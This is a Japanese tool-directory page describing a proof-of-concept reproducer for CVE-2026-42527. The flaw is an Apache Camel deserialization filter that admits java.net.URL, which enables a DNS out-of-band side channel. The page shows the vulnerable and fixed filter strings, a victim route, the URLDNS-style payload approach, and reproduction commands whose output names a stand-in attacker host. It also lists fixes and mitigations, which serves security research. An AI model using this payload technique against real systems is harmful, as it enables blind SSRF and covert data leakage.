Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42527 — CVE-2026-42527の再現ツール — Apache Camelの寛容なデフォルトのObjectInputFilterがjava.net.URLを許可し、DNSベースのアウトオブバンドサイドチャネルを可能にする | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-42527
脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出ペネトレーションテストDNS分析
GitHuboscerd/cve-2026-42527

CVE-2026-42527

CVE-2026-42527の再現ツール — Apache Camelの寛容なデフォルトのObjectInputFilterがjava.net.URLを許可し、DNSベースのアウトオブバンドサイドチャネルを可能にする

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Permissive Default ObjectInputFilter — DNS Side-Channel Reproducer (CVE-2026-42527)

このプロジェクトは、Apache Camel における CVE-2026-42527 を示しています。いくつかの Camel コンポーネントが防御深度としてデシリアライゼーションフィルタリングのために出荷するデフォルトの ObjectInputFilter パターン — java.**;javax.**;org.apache.camel.**;!* — は、再帰的な java.** グロブを使用しており、java.net.URL を許可します。java.net.URL.hashCode() は URL のホストの DNS 解決を実行するため、java.net.URL キーを含む HashMap(またはその要素をハッシュ化する任意のコレクション)をデシリアライズすると、デシリアライズ中に JVM が 攻撃者によって提供されたホストへの DNS クエリ を発行します。クラスレベルのフィルタチェックは通過します(結果のオブジェクトは許可リストにある HashMap であるため)、そのため何もそれを止めません — 帯域外の情報漏洩サイドチャネル(RCE ではありません)です。

アドバイザリ: https://camel.apache.org/security/CVE-2026-42527.html

脆弱性の概要

この欠陥は、過度に寛容なデフォルトフィルタを追加したデシリアライゼーション強化シリーズ(CAMEL-23297/23319/23321/23322/23324)によって導入されました。CVE-2026-42527 はそれを厳格化します。

技術的詳細

この PoC は camel-mina 4.18.2 を使用しており、MinaConverter.toObjectInput が ObjectInputStream に直接デフォルトフィルタをインストールするため、フィルタがゲート制御となります(影響あり/修正なしの明確なコントラスト)。

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
        ? jvmFilter
        : ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));

java.** グロブは java.net.URL を許可します。HashMap<URL, ...> のデシリアライゼーション時、HashMap.readObject() はエントリを再挿入し、hash(key) → URL.hashCode() → InetAddress.getByName(host) → 攻撃者のホストへの DNS クエリ を計算します。4.18.3 / 4.21.0 の修正では、拒否を先頭に追加します。

root@kitploit:~
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";

これで、hashCode() が実行される前に、デシリアライゼーション中に java.net.URL が拒否され(InvalidClassException: filter status: REJECTED)、DNS クエリは発生しません。

実際の最大の露出は camel-jms ファミリー であり、JmsBinding.extractBodyFromJms は mapJmsMessage=true(デフォルト)の場合に無条件で ObjectMessage.getObject() を呼び出します。この PoC は camel-mina を使用しています。これは自己完結型(ブローカー不要)であり、フィルタがストリームに直接配置されるためです。

被害者ルート

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput (default filter)
        Object obj = oi.readObject();                                  // HashMap.readObject -> URL.hashCode() -> DNS
    });

証明の仕組み(外部 DNS サーバー不要)

java.net.URL.hashCode() は JVM のリゾルバを通じてホストを解決します。このルックアップを決定論的にオフラインで観測するために、アプリケーションはカスタムの java.net.spi.InetAddressResolverProvider(JDK 18+、JEP 418)を登録し、攻撃者マーカーを含む任意のホスト名を記録し、ループバックスタブで応答します。攻撃者のホストがリゾルバに到達することを確認することは、それ自体が帯域外サイドチャネルが発動したことを示します。

ペイロードは古典的な ysoserial URLDNS のトリックを使って構築されます。URL のキャッシュされた hashCode フィールドは事前にシードされており、ビルダー側でマップに挿入してもホストは解決されず、その後 -1 にリセットされるため、ルックアップは被害者がデシリアライズするときのみ発生します。(そのリフレクションには --add-opens java.base/java.net が必要です — これはペイロード構築の詳細であり、脆弱性とは無関係です。)

root@kitploit:~
CVE-2026-42527/
├── pom.xml                    # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile                 # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java        # victim: mina consumer -> ObjectInput.readObject()
    │   ├── PayloadFactory.java         # HashMap<URL> URLDNS payload (no builder-side DNS)
    │   ├── ExfilResolverProvider.java  # stub DNS server (InetAddressResolverProvider) that records lookups
    │   ├── ExfilLog.java
    │   └── ExploitController.java      # /exploit/inject: sends payload over TCP, checks for the DNS lookup
    └── resources/
        ├── application.properties
        └── META-INF/services/java.net.spi.InetAddressResolverProvider

前提条件

  • Java 17+ および Maven 3.8+(ビルドには JDK 21 — この証明は JDK 18+ のリゾルバ SPI を使用)
  • Docker(再現ツールを実行)

再現手順

ステップ 1: コンテナをビルドして起動

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

ステップ 2: デシリアライゼーションをトリガー(DNS サイドチャネル)

root@kitploit:~
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
#    URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
#    >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
#        observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]

true は、攻撃者の HashMap<URL> のデシリアライゼーションが攻撃者のホストを解決したことを意味します — 攻撃者が制御する DNS サーバーはそのクエリを確認できます。

ステップ 3(オプション): 修正/緩和策がブロックすることを示す

強化された JVM 全体のフィルタ(toObjectInput が尊重し、4.18.3 の修正を反映したもの)で実行します。

root@kitploit:~
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
     -Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
     -jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then:  curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
#    (the route log shows InvalidClassException: filter status: REJECTED)

クリーンアップ

root@kitploit:~
docker compose down

攻撃ベクトル

影響を受ける Camel コンシューマのうち、デフォルトフィルタの下で攻撃者が制御するバイトをデシリアライズするもの — 特に、mapJmsMessage=true の camel-jms/sjms/amqp コンシューマ、または mina/netty/vertx-http/infinispan および集約リポジトリコンポーネント — 攻撃者は HashMap<URL>(または java.net.URL の任意のハッシュ化コレクション)を配信できます。

悪用条件

  1. 影響を受ける Camel コンポーネントが デフォルト フィルタの下で攻撃者制御のバイトをデシリアライズしている(明示的な deserializationFilter / -Djdk.serialFilter のオーバーライドや、プロバイダ側の許可リストがない)。
  2. 攻撃者がペイロード内のハッシュ化コレクションの中に java.net.URL を配置できる。ガジェットライブラリは不要 — 標準の JDK クラスのみで十分。

推奨される修正

4.14.8 / 4.18.3 / 4.21.0(CAMEL-23372)にアップグレードしてください。これにより、デフォルトフィルタが java.net.** を拒否するように変更されます。

緩和策

アップグレードするまでの間:

  1. JMS プロバイダの デシリアライゼーション許可/拒否リストを構成する(ActiveMQ Artemis の deserializationAllowList/deserializationDenyList、ActiveMQ Classic の org.apache.activemq.SERIALIZABLE_PACKAGES)。
  2. エンドポイントの deserializationFilter オプションまたは JVM 全体の -Djdk.serialFilter を使用して、コード内のデフォルトを明示的な拒否でオーバーライドする: !java.net.**;java.**;javax.**;org.apache.camel.**;!* (または、集約リポジトリコンポーネントの場合は !java.net.**;java.**;org.apache.camel.**;!*。これらのコンポーネントは javax.** を省略します)。

免責事項

この再現ツールは、セキュリティ研究および許可されたテストのみを目的として提供されており、公に開示され修正済みの脆弱性に対するものです。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード
プロパティ値
コンポーネントcamel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan、および集約リポジトリ(camel-leveldb, camel-cassandraql, camel-consul, camel-sql)
欠陥デフォルトフィルタ java.**;javax.**;org.apache.camel.**;!* が java.net.URL / java.net.InetAddress を許可する
CWECWE-502(安全でないデシリアライゼーション)により、DNS 経由の帯域外情報漏洩 / ブラインド SSRF が発生
影響デシリアライゼーション中に攻撃者が観測可能な DNS クエリ(データ流出サイドチャネル)
影響を受けるバージョン4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0
修正バージョン4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23372
報告者Venkatraman Kumar (Securin) および Yu Bao (PayPal)